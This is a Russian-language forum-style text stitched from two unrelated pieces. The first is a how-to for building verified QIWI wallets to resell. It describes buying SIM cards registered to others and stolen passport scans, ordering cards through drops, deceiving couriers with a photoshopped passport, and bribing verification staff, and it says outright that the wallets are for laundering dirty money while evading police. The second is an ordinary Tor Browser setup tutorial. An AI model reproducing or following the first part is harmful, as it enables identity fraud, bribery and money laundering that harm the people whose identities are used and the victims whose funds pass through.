Почитав требования для полного подтверждения кошелька, делаем вывод, что нам нужно:

Левая симка - тут думаю объяснять даже не нужно, где можно достать, лично в моем мухосранске, находящемся в центральной части Рашки, на центральном рынке в переходах и всяких точках продаж б\у телефонов эти симки 100р стоят, разумеется нужны уже зареганные на чье то имя, ноу-неим не подойдут, их блочат очень быстро.
Паспортные данные - еще проще чем с симкой дело, можно бесплатно на раздачах взять или купить, цена за штуку тоже в районе сотки, достаточно простого скана.
Кошелек - имея 1ое и 2ое, уже делаем кошелек с статусом "основной", но они и так стоят гроши, так что идем дальше.
Привязанная к кошельку карта, тут вот уже немного нужно напрячься, но опять же кому как. Лично я делал следующим образом, находил дропа, на кого можно заказать карту, то есть адрес, который вбиваем на сайте для доставки, если карта для вывода чистых денег можно и на свой, но если собираемся сбывать эти кошельки и карты, то конечно же следов на себя нам не нужно, так как кто знает, насколько грязные деньги через них идти будут. Карту заказываем на имя в паспорте привязанном к кошельку. Так же важно выбрать способ доставки, лучше курьером на дом, обычно курьеры ничего не проверяют, это же Россия тут всем пох (по СНГ думаю так же), в крайняк если совсем очково, что спросят паспорт, отофотошопленный скан паспорта с нашим, дропа фото сойдет и немного фантазии, что сказать курьеру, тип потерял паспорт, он на восстановлении и т.д. думайте сами.

Можно, конечно и на почте забрать, я и так делал, но у нас тут в отделении почты просто бабы 50+ работают и паспорт на обычные письма не спрашивают, опять же это Россия тут всем пох.

Вот, собственно, карта у нас есть, в принципе комплект уже неплохой, но лимит на хранение до 200к, как по мне никуда не годится, нам нужна проф идентификация, что бы можно было хранить до 600к с неограниченным выводом средств.

Тут тоже все достаточно просто, через знакомых или просто в соц сетях, площадках тип авито, HR, ищем людей работающих в нужных нам салонах (перечень этих салонов есть на сайте QIWI - (https://qiwi.com/settings/identification/full-ru), где происходит подтверждение данных, как по мне ничего сложного тут нет, я просто за один кошель давал на лапу 500р.

Итог:

Мы имеем полный комплект киви кошелек с проф. статусом+симка+карта, себестоимость которого 1000-1500р, за продажу одного такого легко можно получать 5-10к.

По поводу безопасности при созданий кошелька думаю смысла особо нет говорить тут, тем на эту тему и так куча, единственное что добавлю, что конечно стоит о ней думать, так как когда мусора проверяют кошель, через который были замечены нечистые деньги, по запросу, конечно же, выдается IP с которого создавался кошелек, телефон через который создаем кошель(куда симку всталяем) тоже отдельный нужен, не своя личная звонилка разумется.

Как доставлять и продавать сами уже думайте.

Как правильно настроить TOR и скрыть свой IP

2019-03-17T18:03:27.273Z

Анонимность Tor.

Если вы думаете, что для того чтобы гулять по сети анонимно надо просто скачать Tor и запустить его, вы очень заблуждаетесь. Сегодня мы вам покажем как правильно настроить Tor для обеспечения максимальной анонимности. Также в рамках данной статьи мы дадим практические рекомендации о том, как правильно использовать Tor. Как себя правильно вести в глубоком вебе, что делать можно, а что нельзя.

Напоминаем, что используя форму поиска по сайту вы можете найти много информации на тему анонимности в сети и о Tor в частности.

Содержание:

Где и как правильно скачать Tor

Как установить Tor

Как настроить Tor

Настройка расширения NoScript

Настройка скрытых параметров браузера

Как работать в Tor

Как скачать Tor

Вроде что может быть сложного, скачать да и все, но не все так просто. Скачивать надо только с официального сайта разработчиков. Не старые версии с софт порталов и торрент трекеров, а только последнюю версию у официалов.

Почему желательно всегда устанавливать последнюю версию и своевременно обновлять установленную? Потому что старая версия может иметь уязвимости нулевого дня, которые могут быть использованы специалистами для вычисления вашего реального IP-адресса и даже заражения вашей системы вредоносными программами.

Скачать Tor русскую версию вы можете по прямой ссылке. По умолчанию скачивается английская версия. Если вам нужная русская версия Тор, то в выпадающем меню под кнопкой «Download Tor» выбираете «Русский». Там же вы можете скачать версию Tor для: Apple OS X, Linux и смартфонов.

Как установить Tor

После того как скачали программу, приступим к ее установке. Двойным кликом мышки запустим скаченный файл. Появится такое окно:

Выберите место в которое необходимо установить Tor. Если нечего не менять, по умолчанию Tor установит себя в папку в которой находится установочный файл.

После чего останется только дождаться пока закончится установка.

После запуска ТОР браузера перед вами появится окно под названием «Сетевые настройки TOR».

Здесь доступны две кнопки: Соединиться и Настроить. Если нажать на кнопку «Соединиться», то ТОР браузер начнет работу с стандартными настройками. Данный вариант подходит для большинства случаев.

Кнопка «Настроить» запустит ручную настройку ТОР браузера. Данный вариант может быть полезен, если вы подключаетесь к Интернету через прокси сервер или если ваш Интернет провайдер блокирует работу сети TOR. В первую очередь ТОР браузер сначала спросит блокирует ли ваш Интернет провайдер сеть TOR. Если проблем с подключением к сети TOR нет или вы не знаете точно, то выберите вариант «НЕТ».

Если же выбрать «Да», то ТОР браузер предложит настроить мосты. Мост — это точка в сети TOR, адрес которой не публикуется в документации TOR. Скачать список мостов вы можете здесь.

После настройки мостов ТОР браузер предложит настроить подключение к Интернету через прокси сервер. Если вы подключаетесь к Интернету напрямую (без использования прокси сервера), то здесь нужно выбрать вариант «НЕТ».

Если же для подключения к Интернету используется прокси сервер, то нужно выбрать вариант «ДА» и настроить подключения. ТОР браузер попросит вас выбрать тип прокси сервера, его IP адрес, а также другие настройки связанные с прокси.

После настройки прокси сервера нужно просто нажать на кнопку соединиться и ТОР браузер подключится к Интернету через сеть TOR.

Если вы правильно настроили ТОР браузер, то на экране должна появиться надпись: «Поздравляем! Данный браузер настроен для использования TOR».

Если же на экране появилась надпись: «Увы. В данный момент вы не используете TOR», то это означает, что с настройками TOR браузера что-то не так и подключиться к сети TOR не получилось. В этом случае вы можете нажать на кнопку в виде луковицы и выбрать «Настройки сети TOR» или просто нажать на клавишу S на клавиатуре.

После чего можно будет повторно настроить TOR браузер.

Сразу после подключения к Интернету через сеть TOR вы получаете новый IP адрес. Но, при необходимости этот адрес можно изменить. Для этого нужно нажать на кнопку в виде луковицы и выбрать пункт меню «Новая цепочка TOR для этого сайта».

После чего страница обновится, и вы получите новый IP адрес. Проверить, как это работает можно на любом сайте для проверки IP адреса, можно проверить здесь.